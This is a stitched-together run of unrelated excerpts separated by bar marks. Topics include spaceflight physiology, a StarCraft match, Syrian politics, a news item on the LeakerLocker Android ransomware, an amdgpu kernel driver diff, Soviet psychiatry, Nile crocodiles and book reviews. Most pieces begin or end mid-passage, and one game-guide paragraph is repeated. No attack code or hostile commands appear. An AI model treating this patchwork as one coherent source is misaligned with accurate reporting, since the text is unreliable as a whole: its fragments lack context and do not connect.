As the body seeks a new equilibrium, fluid is excreted, the left ventricle shrinks and cardiac output decreases. Upon return to gravity, fluid is pulled back into the lower extremities and cardiac output falls to subnormal levels. It may take several weeks for fluid volume, peripheral resistance, cardiac size and cardiac output to return to normal [3, 4, 5]. red blood cell loss: Blood samples taken before and after American and Soviet flights have indicated a loss of as much as 0.5 liters of red blood cells. Scientists are investigating the possibility that weightlessness causes a change in splenic function that results in premature destruction of red blood cells. In animal studies there is some evidence of loss through microhemorrhages in muscle tissue as well [5, 6]. muscle damage: Muscles atrophy from lack of use. Contractile proteins are lost and tissue shrinks. Muscle loss may be accompanied by a change in muscle type: rats exposed to weightlessness show an increase in the amount of "fast-twitch" white fiber relative to the bulkier "slow-twitch" red fiber. In 1987, rats exposed to 12.5 days of weightlessness showed a loss of 40 percent of their muscle mass and "serious damage" in 4 to 7 percent of their muscle fibers. The affected fibers were swollen and had been invaded by white blood cells. Blood vessels had broken and red blood cells had entered the muscle. Half the muscles had damaged nerve endings. The damage may have resulted from factors other than simple disuse, in particular: stress, poor nutrition, and reduced circulation -- all of which are compounded by weightlessness; and radiation exposure -- which is independent of weightlessness. There is concern that damaged blood supply to muscle may adversely affect the blood supply to bone as well [4, 5, 6, 7]. bone damage: Bone tissue is deposited where needed and resorbed where not needed. This process is regulated by the piezoelectric behavior of bone tissue under stress. Because the mechanical demands on bones are greatly reduced in micro gravity, they essentially dissolve. While cortical bone may regenerate, loss of trabecular bone may be irreversible. Diet and exercise have been only partially effective in reducing the damage. Short periods of high-load strength training may be more effective than long endurance exercise on the treadmills and bicycles commonly used in orbit. Evidence suggests that the loss occurs primarily in the weight-bearing bones of the legs and spine. |
A Hellion runby and then another picked off some Drones, but both players sat back and focused mostly on macro for the next several minutes. INnoVation maxed out first and pushed out while Solar was at 190 supply. Seizing the high ground near Solar's natural, INnoVation set up a formidable siege line with a dozen tanks covered by Vikings, Hellbats, and a Thor. Solar's three Vipers only managed a single Blinding Cloud before dying and his Roach/Hydra army could only pick off two tanks and some Hellbats in exchange for 30 supply. Pushing forward, INnoVation's tanks sieged the natural while his Hellbats torched Solar's infrastructure and his Vikings camped the Hive, easily sniping Solar's last Vipers as they hatched. Solar mustered enough Roaches and Hydras for one final attempt, but even without any support, INnoVation's eleven Siege Tanks shredded the Zerg army and forced the last gg. |
But its first headline, without any surprises, is a trade off: the Turks backing off in Aleppo and closing the crossings used by some of the armed groups (the most important ones) in the north in exchange for the Turkish forces to be given the freedom to destroy the Kurdish project in Syria. In other words, the city of Aleppo goes to Syria and the corpse of the Kurdish project in Syria goes to the Turks. |
STAX hired string players from the Memphis Symphony Orchestra. One observation I made in Memphis - certain kinds of players seemed to generally fall into certain age groups. The rhythm section players were the youngest and wildest, frequently the horn players were just slightly older, the string players were older than everybody. And the strings went no place without everything written down on paper! Can You Envision This? Imagine 8 violin, viola, and cello players showing up at STAX for a string session. Their average age is probably around 72, and they all have white hair, if they have any hair. Seven out of eight are wearing conservative jackets, white shirts, and subdued ties. They're ushered into the studio as a group, chairs and music stands are quickly set up for them, and they take their seats. Ronnie is running around, placing microphones and getting cables out of their way, and in walks the producer. In this case, Isaac Hayes. Today, Isaac happens to be wearing a pair of cranberry-maroon dance tights with black leopard fur trim, genuine zebraskin boots, a gold chain vest, no shirt, and a big smile. His size 28 mirror sunglasses reflect about 80% of the earth's surface. His trademark huge floppy hat is on the desk in his office, and his skull gleams like a mirror. Sixteen eyes widen to coffee cup size, and eight brains simultaneously realize - there will BE no Beethoven or Brahms in here today. But there will be some stories to tell when these folks go home tonight! (Do you think I'm laughing as I write this?) Sheet music is distributed to everyone, and Ronnie starts tape playback. Explanations and notations are made during the first playback, the tape is rewound. Playback starts again, and Isaac conducts, getting more into it by the second. The players are nodding, tapping, counting measures, and suddenly, eight hands move eight bows on a lot of strings. The hands seem to move almost in unison, forward and back, as their lines come forth. We've been listening to this song for days, over and over, as the rhythm tracks were laid, and overdubs were done. But nobody has yet heard strings on this song - and the addition is absolutely amazing. The visual impact of "old meeting new" was something that's stayed with me for a long time. Thirty minutes later, it's done. |
Gen. Tom Lawson, the chief of defence staff, called the findings “disturbing” and blamed not only those who harass women but others who “idly stand by” and allow inappropriate conduct to happen unchallenged. “The Canadian Armed Forces must take strong steps forward and initiative progressive change,” he said. The military accepted only two of Deschamps’ 10 recommendations outright, saying the other eight needed further study. In particular, the military appeared cool to the idea of complaint process outside of the chain of command, even though the U.S., France and The Netherlands all have such a process in their militaries. It has created a strategic task force, led by Maj.-Gen. Chris Whitecross, to evaluate how to put Deschamps’ recommendations into practice. Lawson made plain that there would no quick fix, saying it would take a “sustained” effort to change attitudes. “We’re not talking days and weeks but about months and years,” Lawson told reporters. Deschamps found that the problems start in basic training, where inappropriate language by trainers goes unpunished and there are reports of “dubious” sexual encounters and date rape is “prevalent.” Among non-commissioned officers, the use of language that belittles women is “commonplace.” Women have been told to “stop being pussies” and “leave your purses at home” while graphic swear words and jokes about rape are tolerated, the report bluntly states. But most men didn’t see such language as harassment with one telling the review, “girls that come to the army know what to expect.” Deschamps says military leaders are blind to the poisonous culture, excusing inappropriate conduct on the basis that the armed forces is simply a “reflection of society.” “There is a broadly held perception in the lower ranks that those in the chain of command either condone inappropriate sexual conduct, or are willing to turn a blind eye to such incidents,” the report says. The problems exist even though concerns about inappropriate sexual conduct have been a focus within the forces for two decades and repeated studies on harassment. Yet all that appears to be falling on deaf ears, the report suggests. The mandatory training that uniformed members undergo, including sessions on prohibited sexual conduct, has had little impact. The classes are “not taken seriously,” and harassment training is “laughed at. “There is a common view that in many cases the trainers were themselves complicit in the prohibited conduct,” the report said. Deschamps concluded that most incidents of sexual harassment and assault are not reported. |
After WannaCry and Petya ransomware outbreaks, a scary (but rather creative) new strain of ransomware is spreading via bogus apps on the Google Play Store, this time targeting Android mobile users.Dubbed, the Android ransomware does not encrypt files on victim's device, unlike traditional ransomware, rather it secretly collects personal images, messages and browsing history and threatens to share it to their contacts if they don't pay $50 (£38).Researchers at security firm McAfee spotted the LeakerLocker ransomware in at least two apps — Booster & Cleaner Pro and Wallpapers Blur HD — in the Google Play Store, both of which have thousands of downloads.To evade detection of malicious functionality, the apps initially don’t contain any malicious payload and typical function like legitimate apps.But once installed by users, the apps load malicious code from its command-and-control server, which instructs them to collect a vast number of sensitive data from the victim's phone — thanks to its victims granting unnecessary permissions blindly during installation.The LeakerLocker ransomware then locks the home screen and displays a message that contains details of the data it claims to have stolen and holds instructions on how to pay the ransom to ensure the information is deleted.The ransom message reads:Although the ransomware claims that it has taken a backup of all of your sensitive information, including personal photos, contact numbers, SMS', calls and GPS locations and browsing and correspondence history, researchers believe only a limited amount of data on victims is collected.According to researchers, LeakerLocker can read a victim's email address, random contacts, Chrome history, some text messages and calls, take a picture from the camera, and read some device information.All the above information is randomly chosen to display on the device screen, which is enough to convince the victims that lots of data have been copied.Both malicious apps have since been removed by Google from the Play Store, but it is likely that hackers will try to smuggle their software into other apps.If you have installed any of the two apps, uninstall it right now.But if you are hit by the ransomware and are worried about your sexy selfies and photographs being leaked to your friends and relatives, you might be thinking of paying a ransom.Do not pay the Ransom! |
Square Enix today unveiled plans for a curated publishing platform, through which it hopes to bring together creators and players to make more game concepts become reality.Game designers will be able to post ideas for games to the Square Enix Collective platform , which can then be judged by the Collective community, made up of players signed up to the platform.If the community collectively decides that an idea is great, Square Enix will then utilize a new partnership with crowdfunding website Indiegogo to help get the game idea funded and development underway, and provide distribution services once the game is ready to ship.Any project pitches can be submitted to the platform for free, whether it simply be to receive feedback from players, or to shoot for the Indiegogo funding plan. Square Enix says that the idea is that studios can receive real feedback from real players, and build momentum behind the idea.Once a game has been on the platform for 28 days, Square Enix then makes a decision on whether or not your game idea has been successful enough to suggest Indiegogo funding is possible.Note that there's also an evaluation phase, during which the company will check that your game idea meets its submission parameters, and that you yourself have the expertise and tools to actually create the game. If a studio does not make it through this phase, Square Enix will provide feedback on exactly why.Phil Elliott, head of the Collective community, says that he wants developers "to walk away with the majority of the sales revenue, and we want to reinvest any profits back into the platform. "The underlying concept, says Square Enix, is to encourage an open development process amongst studios, and for developers to offer transparency and communication with the Collective community around all decision-making.Notably, Square Enix is also offering some of its own IP to the program. If the company decides that an idea could work well with some of its older Eidos IP, it may choose to allow a studio to build a new game using one of these IPs. |
ANOTHER NOTE: WITH THE STATE OF THE GAME RIGHT NOW IT MIGHT NOT BE WISE TO INVADE FROM THE START. TRY CLEARING JUNGLE ONCE, GANKING, THEN INVADING AS 3. EVEN IF THE GANK DOESN'T WORK YOU SHOULD'VE CREATED SOME DELICIOUS SPACE FOR YOU GUYS TO **** THEIR JUNGLE OVER. THESE ARE NOT COMMON AT LOWER TIERS BUT AT HIGHER SKILL LEVELS THIS CAN DECIDE THE FATE OF A GAME IN A MERE ****ING MINUTE. THE LAST TIME THIS HAPPENED WAS HIROSHIMA AND NAGASAKI, SO UNDERSTAND HOW DEVASTATING THEY ARE. IF YOU WIN AN INVADE IMMEDIATELY START CLEARING THEIR JUNGLE AND MOST IMPORTANTLY PLACING SCOUT TRAPS. I DON'T GIVE A **** HOW BADLY YOU NEED LIFESPRING, DO IT. BY SECURING VISION OF THE ENEMY'S JUNGLE YOU HAVE SEALED THEIR FATE.IF YOUR TEAM GOES FOR AN INVADE BE SURE TO HELP THEM TANK. USE YOUR STUN AS PER NORMAL TO SECURE KILLS. THERE'S NO ONE ELSE WHO CAN SO EASILY STUN THOSE **********ERS IN THE EARLY GAME.SOME HEROES CAN **** UP GAMES EARLY ON THANKS TO THEIR STRENGTH EARLY ON, ALSO KNOWN AS "EARLY GAME HEROES". IF TWO OR MORE SUCH HEROES ARE PUT TOGETHER, PREPARE FOR THE WORST. USE YOUR FLARE AND SEE IF THEY'RE CROSSING THEIR TRIBUSH. IF THEY ARE IMMEDIATELY PING YOUR LANER TO HELP. IF HE DOESN'T AND YOU GUYS DIE, TRY TO TAKE THEIR FIRST TOWER LATER ON. IF THAT FAILS TOO, THEY'RE GOING TO SNOWBALL. READ ON BELOW TO FIND OUT HOW TO DEAL WITH THATTHESE ARE THE EARLY-GAME HEROES:BASICALLY, THERE ARE A FEW GROUND RULES WHEN INVADING:-YOUR TEAM HAS AN ITEM LEAD-YOUR TEAM HAS A LEVEL LEAD-YOUR TEAM HAS THOSE EARLY GAME HEROESNOTE: ESPECIALLY SKAARF AND RONA - THESE TWO HEROES CAN REALLY **** YOUR EARLY GAME. IF THEY'RE MATCHED WITH FORTRESS PRAY THEY DON'T INVADEANOTHER NOTE: WITH THE STATE OF THE GAME RIGHT NOW IT MIGHT NOT BE WISE TO INVADE FROM THE START. TRY CLEARING JUNGLE ONCE, GANKING, THEN INVADING AS 3. EVEN IF THE GANK DOESN'T WORK YOU SHOULD'VE CREATED SOME DELICIOUS SPACE FOR YOU GUYS TO **** THEIR JUNGLE OVER. |
It's Christmas all over again in Bethlehem this fine May day. O Come All Ye Faithful and Gloria In Excelsis rang out over Manger Square as Pope Benedict celebrated mass for an enthusiastic congregation of several thousand Palestinian Christians and Catholic Pilgrims from as far away as Vietnam. They protected themselves from the fierce sun with yellow and white baseball hats - the colours of the Vatican flag, handed out by attendants - and they waved Palestinian flags. The atmosphere was festive despite the heavy security and checkpoints set up along all roads leading to the town where Jesus Christ was born. Business went on as usual in the nearby cafes and souvenir shops while Pope Benedict, clothed in gold vestments, preached about the injustices suffered by the Palestinians in general and Gazans in particular as a result of the continuing conflict with Israel. His audience applauded wildly as he referred to the tiny knot of Catholic pilgrims from Gaza who had been allowed to travel to Bethlehem. In pictures: Pope in Bethlehem Christian couple's divided life Mixed emotions in Bethlehem "In a world where more and more borders are being opened up - to trade, to travel, to movement of peoples, to cultural exchanges - it is tragic to see walls still being erected," he said. He told the refugees that his heart went out to families divided by detention and restrictions on freedom of movement, a reference to Israeli military control of the West Bank. "It is understandable that you often feel frustrated. Your legitimate aspirations for permanent homes, for an independent Palestinian state, remain unfulfilled." He added: "Although walls can be easily built, we all know that they do not last forever. They can be taken down. First, though, it is necessary to remove the walls that we build around our hearts." Mr Abbas said Israel's security could only be attained through peace. "In front of Your Holiness I address a message of peace to our Israeli neighbours," he said. "And I call upon them to renounce occupation, settlements, arrests, and humiliations." The BBC's David Willey in Bethlehem says that, on his journey from Jerusalem, the Pope saw for himself for the first time the barrier that the Israelis have erected in the West Bank. Israel says it is to prevent attacks by militants, but Palestinians say it is to seize occupied land. |
(1) A person may not sell, offer for sale, lease, barter, trade or exchange a product that has been produced by the person using stolen or misappropriated information technology if another person is selling, offering for sale, leasing, bartering, trading or exchanging a similar product in this state that was produced without using stolen or misappropriated information technology. The prohibition in this subsection applies regardless of whether the product is sold, offered for sale, leased, bartered, traded or exchanged individually or as a component of another product. (2) The prohibition in subsection (1) of this section does not apply to:... (c) Claims based on violation of the terms of a license that allows licensed users to modify and redistribute source code associated with information technology free of charge; |
+ * - 3.12.0 - Add query for double offchip LDS buffers + * - 3.13.0 - Add PRT support */ #define KMS_DRIVER_MAJOR 3 -#define KMS_DRIVER_MINOR 10 +#define KMS_DRIVER_MINOR 13 #define KMS_DRIVER_PATCHLEVEL 0 int amdgpu_vram_limit = 0; @@ -77,7 +80,7 @@ int amdgpu_pcie_gen2 = -1; int amdgpu_msi = -1; int amdgpu_lockup_timeout = 0; int amdgpu_dpm = -1; -int amdgpu_smc_load_fw = 1; +int amdgpu_fw_load_type = -1; int amdgpu_aspm = -1; int amdgpu_runtime_pm = -1; unsigned amdgpu_ip_block_mask = 0xffffffff; @@ -100,6 +103,11 @@ unsigned amdgpu_pg_mask = 0xffffffff; char *amdgpu_disable_cu = NULL; char *amdgpu_virtual_display = NULL; unsigned amdgpu_pp_feature_mask = 0xffffffff; +int amdgpu_ngg = 0; +int amdgpu_prim_buf_per_se = 0; +int amdgpu_pos_buf_per_se = 0; +int amdgpu_cntl_sb_buf_per_se = 0; +int amdgpu_param_buf_per_se = 0; MODULE_PARM_DESC(vramlimit, "Restrict VRAM for testing, in megabytes"); module_param_named(vramlimit, amdgpu_vram_limit, int, 0600); @@ -137,8 +145,8 @@ module_param_named(lockup_timeout, amdgpu_lockup_timeout, int, 0444); MODULE_PARM_DESC(dpm, "DPM support (1 = enable, 0 = disable, -1 = auto)"); module_param_named(dpm, amdgpu_dpm, int, 0444); -MODULE_PARM_DESC(smc_load_fw, "SMC firmware loading(1 = enable, 0 = disable)"); -module_param_named(smc_load_fw, amdgpu_smc_load_fw, int, 0444); +MODULE_PARM_DESC(fw_load_type, "firmware loading type (0 = direct, 1 = SMU, 2 = PSP, -1 = auto)"); +module_param_named(fw_load_type, amdgpu_fw_load_type, int, 0444); MODULE_PARM_DESC(aspm, "ASPM support (1 = enable, 0 = disable, -1 = auto)"); module_param_named(aspm, amdgpu_aspm, int, 0444); @@ -207,6 +215,22 @@ MODULE_PARM_DESC(virtual_display, "Enable virtual display feature (the virtual_display will be set like xxxx:xx:xx.x,x;xxxx:xx:xx.x,x)"); module_param_named(virtual_display, amdgpu_virtual_display, charp, 0444); +MODULE_PARM_DESC(ngg, "Next Generation Graphics (1 = enable, 0 = disable(default depending on gfx))"); +module_param_named(ngg, amdgpu_ngg, int, 0444); + +MODULE_PARM_DESC(prim_buf_per_se, "the size of Primitive Buffer per Shader Engine (default depending on gfx)"); +module_param_named(prim_buf_per_se, amdgpu_prim_buf_per_se, int, 0444); + +MODULE_PARM_DESC(pos_buf_per_se, "the size of Position Buffer per Shader Engine (default depending on gfx)"); +module_param_named(pos_buf_per_se, amdgpu_pos_buf_per_se, int, 0444); + +MODULE_PARM_DESC(cntl_sb_buf_per_se, "the size of Control Sideband per Shader Engine (default depending on gfx)"); +module_param_named(cntl_sb_buf_per_se, amdgpu_cntl_sb_buf_per_se, int, 0444); + +MODULE_PARM_DESC(param_buf_per_se, "the size of Off-Chip Pramater Cache per Shader Engine (default depending on gfx)"); +module_param_named(param_buf_per_se, amdgpu_param_buf_per_se, int, 0444); + + static const struct pci_device_id pciidlist[] = { #ifdef CONFIG_DRM_AMDGPU_SI {0x1002, 0x6780, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_TAHITI}, @@ -409,6 +433,7 @@ static const struct pci_device_id pciidlist[] = { {0x1002, 0x67C2, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_POLARIS10}, {0x1002, 0x67C4, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_POLARIS10}, {0x1002, 0x67C7, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_POLARIS10}, + {0x1002, 0x67D0, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_POLARIS10}, {0x1002, 0x67DF, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_POLARIS10}, {0x1002, 0x67C8, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_POLARIS10}, {0x1002, 0x67C9, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_POLARIS10}, @@ -423,7 +448,14 @@ static const struct pci_device_id pciidlist[] = { {0x1002, 0x6987, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_POLARIS12}, {0x1002, 0x6995, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_POLARIS12}, {0x1002, 0x699F, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_POLARIS12}, - + /* Vega 10 */ + {0x1002, 0x6860, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VEGA10|AMD_EXP_HW_SUPPORT}, + {0x1002, 0x6861, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VEGA10|AMD_EXP_HW_SUPPORT}, + {0x1002, 0x6862, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VEGA10|AMD_EXP_HW_SUPPORT}, + {0x1002, 0x6863, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VEGA10|AMD_EXP_HW_SUPPORT}, + {0x1002, 0x6867, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VEGA10|AMD_EXP_HW_SUPPORT}, + {0x1002, 0x686c, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VEGA10|AMD_EXP_HW_SUPPORT}, + {0x1002, 0x687f, PCI_ANY_ID, PCI_ANY_ID, 0, 0, CHIP_VEGA10|AMD_EXP_HW_SUPPORT}, {0, 0, 0} }; @@ -686,7 +718,6 @@ static struct drm_driver kms_driver = { DRIVER_PRIME | DRIVER_RENDER | DRIVER_MODESET, .load = amdgpu_driver_load_kms, .open = amdgpu_driver_open_kms, - .preclose = amdgpu_driver_preclose_kms, .postclose = amdgpu_driver_postclose_kms, .lastclose = amdgpu_driver_lastclose_kms, .set_busid = drm_pci_set_busid, |
This makes the entire work more smooth and pleasureful. So now that we know why, the question is how to build such relationship. I think the answer is: by helping dealing with classic PM activities. Talk to the customer, help prioritize tickets, help split features into smaller stories that can be deployed earlier, challenge tickets which bring no business value, implement business metrics and propose valuable things to measure that help in making future decisions. Sometimes the best thing to do, is to honestly tell your customer that this feature/project/solution is not going to work, and we should not waste money on that and instead try something else. |
Snezhnevsky, the most prominent theorist of Soviet psychiatry and director of the Institute of Psychiatry of the USSR Academy of Medical Sciences, developed a novel classification of mental disorders postulating an original set of diagnostic criteria. A carefully crafted description of sluggish schizophrenia established that psychotic symptoms were non-essential for the diagnosis, but symptoms of psychopathy, hypochondria, depersonalization or anxiety were central to it. Symptoms referred to as part of the "negative axis" included pessimism, poor social adaptation, and conflict with authorities, and were themselves sufficient for a formal diagnosis of "sluggish schizophrenia with scanty symptoms." According to Snezhnevsky, patients with sluggish schizophrenia could present as quasi sane yet manifest minimal but clinically relevant personality changes which could remain unnoticed to the untrained eye. Thereby patients with non-psychotic mental disorders, or even persons who were not mentally sick, could be easily labelled with the diagnosis of sluggish schizophrenia. Along with paranoia, sluggish schizophrenia was the diagnosis most frequently used for the psychiatric incarceration of dissenters. As per the theories of Snezhnevsky and his colleagues, schizophrenia was much more prevalent than previously considered since the illness could be presented with comparatively slight symptoms and only progress afterwards. As a consequence, schizophrenia was diagnosed much more often in Moscow than in cities of other countries, as the World Health Organization Pilot Study on Schizophrenia reported in 1973. The city with the highest prevalence of schizophrenia in the world was Moscow. In particular, the scope was widened by sluggish schizophrenia because according to Snezhnevsky and his colleagues, patients with this diagnosis were capable of functioning almost normally in the social sense. Their symptoms could be like those of a neurosis or could assume a paranoid character. The patients with paranoid symptoms retained some insight into their condition but overestimated their own significance and could manifest grandiose ideas of reforming society. Thereby, sluggish schizophrenia could have such symptoms as "reform delusions," "perseverance," and "struggle for the truth." As Viktor Styazhkin reported, Snezhnevsky diagnosed a reformation delusion for every case when a patient "develops a new principle of human knowledge, drafts an academy of human happiness, and many other projects for the benefit of mankind." |
He then threatened that he would start killing Panthers if they didn't leave. In December of 1968 Fred Hampton visited Fort at his headquarters to discuss the matter. Jeff Fort showed his power to Hampton by snapping his fingers and 100 Stones come out with shot guns, machine guns, and other guns or other weapons. Fred Hampton was then shown the power that Fort had on the streets even at his young age of 21. The Stones had already killed a Panther before this meeting, that was how the beefing began. After a while of talking Hampton agreed to pull Panther influence out of Stone territory. The Stones waged into bloody gang wars from 1966-1968 with the Disciples and the Gangsters. There were several gang related homicides during these years because of this war. In the early 1970s the federal government was beginning to close in on Jeff Fort. As I mentioned earlier, in 1968 the federal government began investigating Fort and the Stones for misuse of government funding. The government had given the Stones $900,000 to $1.4 million dollars for the job training program, and now their investigations began to discover how Jeff Fort was mismanaging government funds for illegal activities. In 1971 John Fry stepped down from advising the BPSN. In 1972, Jeff Fort and some others were brought up on charges for mismanaging government funds from the government, he was then sentenced to time at Statesville prison until 1974. In 1974 he was transferred to Leavenworth prison until 1976. All funding to the BPSN was then shut down, but it was too late, the BPSN had already established great power and had profited from the money they received in the 1960s. The BPSN had already taken the money they received and turned it into more money. Now that the BPSN was heavily developed, Jeff Fort was able to remain the undisputed leader even while incarcerated in Leavenworth prison. While Fort was imprisoned, Mickey Cogwell (leader of the Cobra Stones, later known as Mickey Cobras) was leading the BPSN on the street. In 1974, Fort placed “Thunder” in charge of the Statesville Stones and Hairston was running the Stones in Menard. By 1974 Hairston was up for parole; therefore, he decided to send word to the Titanics that he was going to be released and to have some soldiers ready for a complete coup over Jeff Fort and regain the BPSN into Hairston’s favor. |
If this is the new American movie teenager, she’s very different from the ones we’re used to. Since they started showing up on screen after the Second World War, the teenagers of American film have fought to unshackle themselves from repressive authority and express their true selves: “You don’t see me for who I really am” has been their cri de coeur. This drive was spectacularly dramatized by the realist acting style that overtook American film in the postwar era known as Method acting and based on the psychoanalytically inflected acting theories of Lee Strasberg and Elia Kazan (who based theirs on the theories of Russian theater director Constantin Stanislavsky, but gave them a specifically American cast). When James Dean cried, “You’re tearing me apart!” in Rebel Without a Cause, he not only embodied the rage and alienation of the 1950s teenager, he also voiced the subtext of the ideology of acting he practiced at Lee Strasberg’s Actors Studio. Dean’s delivery of that iconic line exemplifies the economy of repression and release that characterizes many Method performances: at first curled up, with his head between his clenched fists, he then unfurls, opening his hands, lifting his head, and gesturing wildly toward his parents. This model of tension and release made many Method performances feverish, agitated, on the edge of eruption: think of Gena Rowlands, or Ellen Burstyn, or early Al Pacino. Even though many of its specific techniques have gone by the wayside, the long tail of the Method’s understanding of psychology—the basic Freudianism that passed for psychological common sense in the mid-century—can still be felt today: many recent award-winning performances (Sean Penn in Mystic River, Brie Larson in Room) depend on a similar iconography of emotional expression, in which everyday repression gives way, in typically predictable patterns, to outpourings of powerful feeling, writ large and legible on the actor’s face and body. We are used to this model, and to many of us, it still feels true. But something else is brewing. Lawrence’s characters in Winter’s Bone and The Hunger Games don’t arrive at emotional release or revelation; rather than fight to express themselves, her characters fight not to. We can see the same kind of emotional retrenchment and wariness in a number of performances by the most popular young actors of the last several years. |
Hatchling Nile crocodiles are between 280 and 300 mm (11 and 12 in) long at first and weigh around 70 g (2.5 oz). The hatchlings grow approximately that length each year for the first several years. [167] The new mother will protect her offspring for up to two years, and if there are multiple nests in the same area, the mothers may form a crèche. During this time, the mothers may pick up their offspring either in their mouths or gular fold (throat pouch), to keep the babies safe. The mother will sometimes carry her young on her back to avoid the natural predators of the small crocodiles, which can be surprisingly bold even with the mother around. Nile crocodiles of under two years are much more rarely observed than larger specimens, and more seldom seen than the same age young in several other types of crocodilian. Young crocodiles are rather shy and evasive due to the formidable gaunlet of predators that they must face in sub-Saharan Africa, spending little time sunning and moving about nocturnally whenever possible. The two-year-and-younger crocodiles may spend a surprising amount of time on land, as evidenced by the range of terrestrial insects found in their stomachs, and their lifestyle may resemble a semi-aquatic mid-sized lizard more so than the very aquatic lives of older crocodiles. [11][152] At the end of the two years, the hatchlings will be about 1.2 m (3 ft 11 in) long, and will naturally depart the nest area, avoiding the territories of older and larger crocodiles. [11][152] After this stage, crocodiles may loosely associate with similarly sized crocodiles and many assuredly enter feeding congregations of crocodiles once they attain 2 m (6 ft 7 in), at which size predators and cannibal crocodiles become much less of a concern. [11] Crocodile longevity is not well established, but larger species like the Nile crocodile live longer, and may have a potential average life span of 70 to 100 years, though no crocodilian species commonly exceeds a lifespan of 50 to 60 years in captivity. [2] |
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Yet, this concession is congruent with most authoritative sources conceding a scarcity of reliable data concerning predictors of placebo responsiveness (Kaptchuk et al., 2008; Benedetti, 2009). For example, Hall et al. (2012) implicated the reward system in placebo responsiveness. While they corroborated previous evidence (Leuchter et al., 2009), the latter publication could not be included due to lack of an adequate control. Another article carried similar implications by reporting an association of gray matter density in reward sensitivity related brain areas and PRs (Schweinhardt et al., 2009). Unfortunately, the study used a cross-over design which was not considered for inclusion in this review. Likewise, other studies did not have sufficient validity regarding reward sensitivity (de la Fuente-Fernandez et al., 2001; de la Fuente-Fernandez and Stoessl, 2002; Scott et al., 2007). Most relevantly, de la Fuente-Fernandez et al. (2001) and de la Fuente-Fernandez and Stoessl (2002) only assessed post-instruction associations of placebo responding with reward sensitivity. As to the first study (de la Fuente-Fernandez et al., 2001), sample size was very low (N = 6), thereby not granting sufficient protection against chance results; furthermore, carry-over effects seem likely, as far as the procedure could be ascertained. The second study did use a control group to assess novelty effects of first exposure to the stimulus material, but no control incorporating the effects of measurement repetition (de la Fuente-Fernandez and Stoessl, 2002). Scott et al. (2007) reported a correlation between Nucleus accumbens-activity in placebo analgesia, and after monetary reward. While the results are highly interesting and were well received, the investigators did not include an adequate control group. Therefore, it cannot be precluded that simple measurement repetition would have the same (or at least aligned) effects. |
Why not ask about the relationship between the death of my parents and the death of Gabe Wallach’s mother, the germinating incident in my 1962 novel, Letting Go? Or ask about the death and funeral of the father, which is at the heart of “The Day It Snowed,” my first published story in the Chicago Review in 1955? Or ask about the death of Kepesh’s mother, wife of the owner of a Catskills hotel, which is the turning point in The Professor of Desire? The terrible blow of the death of a parent is something I began writing about long before any parent of mine had died. Novelists are frequently as interested in what hasn’t happened to them as in what has. What may be taken by the innocent for naked autobiography is, as I’ve been suggesting, more than likely mock-autobiography or hypothetical autobiography or autobiography grandiosely enlarged. We know about the people who walk into the police station and confess to crimes they haven’t committed. Well, the false confession appeals to writers, too. Novelists are even interested in what happens to other people and, like liars and con men everywhere, will pretend that something dramatic or awful or hair-raising or splendid that happened to someone else actually happened to them. The physical particulars and moral circumstances of Zuckerman’s mother’s death have practically nothing to do with the death of my own mother. The death of the mother of one of my dearest friends—whose account of her suffering stuck in my mind long after he’d told me about it—furnished the most telling details for the mother’s death in The Anatomy Lesson. The black cleaning woman who commiserates with Zuckerman in Miami Beach about his mother’s death is modeled on the housekeeper of old friends in Philadelphia, a woman I haven’t seen for ten years and who never laid eyes on anybody in my family but me. I was always entranced by her tangy style of speech, and when the right moment came, I used it. But the words in her mouth I invented. Olivia, the eighty-three-year-old black Florida cleaning woman, c’est moi. |
The fact that the crash made it obvious--and thus created an instantly receptive audience for Wolfe's book--is what one might call earned good fortune.Of course, besides being a novel of manners, Bonfire is a novel of race and class. That's what makes it as political book. Race and class are frequently avoided by modern minimalist novelists, who cannot imagine that such concerns might be relevant to the identity crises of their characters. Wolfe puts these issues at the center of the novel. And the subtleties are right. There's a terrific scene, for instance, where Lawrence Kramer, the young lawyer, feels inferior to a haughty British nanny he's hired until she makes a racist comment, which immediately allows him to feel superior again. That's because spoken racism is gauche in liberal, professional Manhattan. Racists must observe the proper etiquette, which is to pretend that they are not.Wolfe has long made a subspeciality of pushing these buttons on race and class. "Radical Chic" (where he made fun of Leonard Bernstein's 1969 party for the Black Panthers) and "Mau-Mauing the Flak Catchers" (a description of the way black poverty activists intimidated white bureaucrats) seemed to white liberals to confirm that the Virginia-born author was a racist.Bonfire fuels the flames of that old fight, and for reasons that may not be immediately apparent. First, there's the matter of literary device. Including Sherman, Wolfe goes inside the heads of about half a dozen characters. None of these people are portrayed in an especially flattering light and most look like fools. But at least the rest of the world is seen through their eye for a few pages. Those eyes are never black. Wolfe will walk in Sherman's shoes or Fallow's, but not in those of Rev. Bacon (the media-manipulating, rabble-rousing Harlem minister) or Henry Lamb (the teenager Sherman and his mistress run over in their car). In fact, besides Lamb and his mother, blacks in the novel are either corruptor simply barbarians ready to storm the gates of civilization. Wolfe is correct that this is a reflection of how white Manhattan views Harlem and the Bronx. But how about the way Harlem and the Bronx view white Manhattan? Other than targeting rich whites for money and manipulation--Rev. Bacon's approach--the black view gets lost. Blacks are either a mob or exotic urban fauna. |
